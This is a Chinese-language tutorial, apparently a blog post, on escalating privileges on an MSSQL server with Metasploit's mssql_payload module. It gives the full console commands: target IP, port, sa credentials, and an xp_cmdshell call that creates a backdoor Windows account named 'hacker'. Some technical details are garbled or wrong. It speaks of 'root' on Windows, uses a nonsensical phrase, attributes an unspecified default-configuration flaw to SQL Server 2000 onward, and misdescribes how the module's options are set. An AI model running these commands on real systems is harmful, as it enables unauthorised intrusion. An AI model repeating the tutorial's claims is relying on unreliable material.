使用MSF绕过MSSQL安全漏洞实现提权

1. 漏洞简介

在MSSQL中,存在一个从截至SQL Server 2000开始的一个危险的安全漏洞。这个安全漏洞在SQL Server的默认配置中是存在的,这就使得用户能够在执行操作系统图册等操作方面获得更多的权限,并直接返回一个命令外壳。

在有权限的情况下,想要获取root权限是非常具有挑战性的。但是,MSF以及一些其他的攻击工具可以帮助到我们完成这个过程。Metasploit是一款免费的、模块化的漏洞程序测试工具,旨在简化漏洞攻击/开发过程,以及提供有关漏洞的详细信息。该漏洞利用程序利用了SQL Server在其sysadmin权限组中运行的一些有趣的细节。

2. 漏洞利用工具

要利用该漏洞进行提权,我们需要使用Metasploit

2.1 安装Metasploit

在Kali Linux中,安装Metasploit的命令如下

sudo apt-get install metasploit-framework

在安装完成后,我们可以运行以下命令来启动MSF:

msfconsole

2.2 利用MSF实现MSSQL提权

现在我们来详细了解一下如何使用MSF来利用MSSQL的安全漏洞来获取提权权限:

2.2.1 找到漏洞利用模块

首先,我们需要找到可以利用该漏洞的MSF模块。可以通过以下命令在Metasploit中查找MSSQL漏洞利用模块:

search mssql

我们将会看到很多可用的漏洞利用模块。

2.2.2 选择合适的模块

在选择合适的漏洞利用模块时,我们需要考虑以下几个因素:

我们是否知道目标计算机的操作系统和MSSQL版本

漏洞利用的方法

通常,我们可以根据目标计算机的操作系统和MSSQL版本来选择合适的模块。在此示例中,我们将使用mssql_payload模块。

2.2.3 设置漏洞利用参数

接下来,我们需要设置漏洞利用模块的参数。在这里,我们需要设置一些基本参数:

目标IP地址

目标计算机上MSSQL服务器的端口

目标计算机上的用户名和密码

在这个例子中,我们将模块配置为向远程MSSQL服务发送以下命令:

exec master..xp_cmdshell 'cmd.exe /c net user /add hacker 123456'

这个命令将创建一个名为"hacker"的用户,并将密码设置为"123456"。

2.2.4 运行漏洞利用模块

现在,我们可以运行漏洞利用模块。 在Metasploit控制台中,可以使用以下命令来运行mssql_payload模块:

use exploit/windows/mssql/mssql_payload

set RHOST 192.168.1.5

set RPORT 1433

set USERNAME sa

set PASSWORD Passw0rd!

set CMD exec master..xp_cmdshell 'cmd.exe /c net user /add hacker 123456'

run

3. 结语

通过使用Metasploit,我们不仅可以了解MSSQL服务器方面的漏洞,而且可以利用这些漏洞来获取更高的权限。对于网络管理员来说,这提醒他们需要密切关注他们网络系统中的所有漏洞,并尽最大努力保持其安全。

数据库标签